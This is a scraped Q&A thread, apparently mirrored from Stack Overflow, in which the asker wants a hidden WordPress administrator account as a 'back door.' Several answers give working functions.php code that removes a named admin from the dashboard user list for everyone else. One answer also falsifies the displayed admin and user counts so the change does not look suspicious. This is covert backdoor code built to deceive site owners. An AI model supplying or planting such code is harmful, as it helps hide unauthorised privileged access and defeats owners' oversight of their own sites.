Hide A Particular Admin Account From Wordpress User List

后端 未结 5 676
耶瑟儿~
耶瑟儿~ 2021-01-31 23:34

I\'d like to create an admin user in Wordpress and then hide it from the users list in the wordpress dashboard, as a kind of hidden back door. I am not trying to hide all admins

相关标签:
5条回答
  • 2021-01-31 23:47

    There is a very good solution by angezanetti, but even when hiddenuser is hidden from Administrators list, the total number of admins shown is still unchanged and it can be suspicious for someone. I took the code by Symbolwdd and added lines for correct displayed number of admins:

    add_action('pre_user_query','dt_pre_user_query');
    function dt_pre_user_query($user_search) {
       global $current_user;
       $username = $current_user->user_login;
    
       if ($username != 'hiddenuser') {
          global $wpdb;
          $user_search->query_where = str_replace('WHERE 1=1',
             "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
       }
    }
    
    add_filter("views_users", "dt_list_table_views");
    function dt_list_table_views($views){
       $users = count_users();
       $admins_num = $users['avail_roles']['administrator'] - 1;
       $all_num = $users['total_users'] - 1;
       $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
       $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
       $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
       $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
       return $views;
    }
    
    0 讨论(0)
  • 2021-01-31 23:55

    Combining the answer of "angezanetti", the question of "Natalia" and the response of "user3474007" to Natalia, this code will hide the user from all other users (including admins).

    add_action('pre_user_query','yoursite_pre_user_query');
    function yoursite_pre_user_query($user_search) {
      global $current_user;
      $username = $current_user->user_login;
    
      if ($username != 'hiddenuser') { 
        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
          "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
      }
    }
    
    0 讨论(0)
  • 2021-02-01 00:06

    You can do this with a custom function in your functions.php. Here is an example :

    add_action('pre_user_query','yoursite_pre_user_query');
    function yoursite_pre_user_query($user_search) {
      global $current_user;
      $username = $current_user->user_login;
    
      if ($username == '<USERNAME OF OTHER ADMIN>') { 
        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
          "WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
      }
    }
    

    Or you can use a plugin for this; http://wordpress.org/plugins/user-role-editor/

    0 讨论(0)
  • 2021-02-01 00:06

    @Natalia - If you want to block all other admins to see your account, just change

    if ($username == '<USERNAME OF OTHER ADMIN>') { 
    

    with

    if ($username != '<YOUR USERNAME>') { 
    

    This way you hide your account to all other accounts but yours.

    0 讨论(0)
  • 2021-02-01 00:10

    I know, an old topic but someone sent me this link today..

    One update: The hook is no longer pre_user_query BUT wp_user_query instead.

    Also, with this method you're hiding your account from this particular admin account alone. Not all. What if another admin is added later on?

    What I'd do is to hide the 'secret' account from anyone, except for themselves (in order to be able to edit it).

    0 讨论(0)
提交回复
热议问题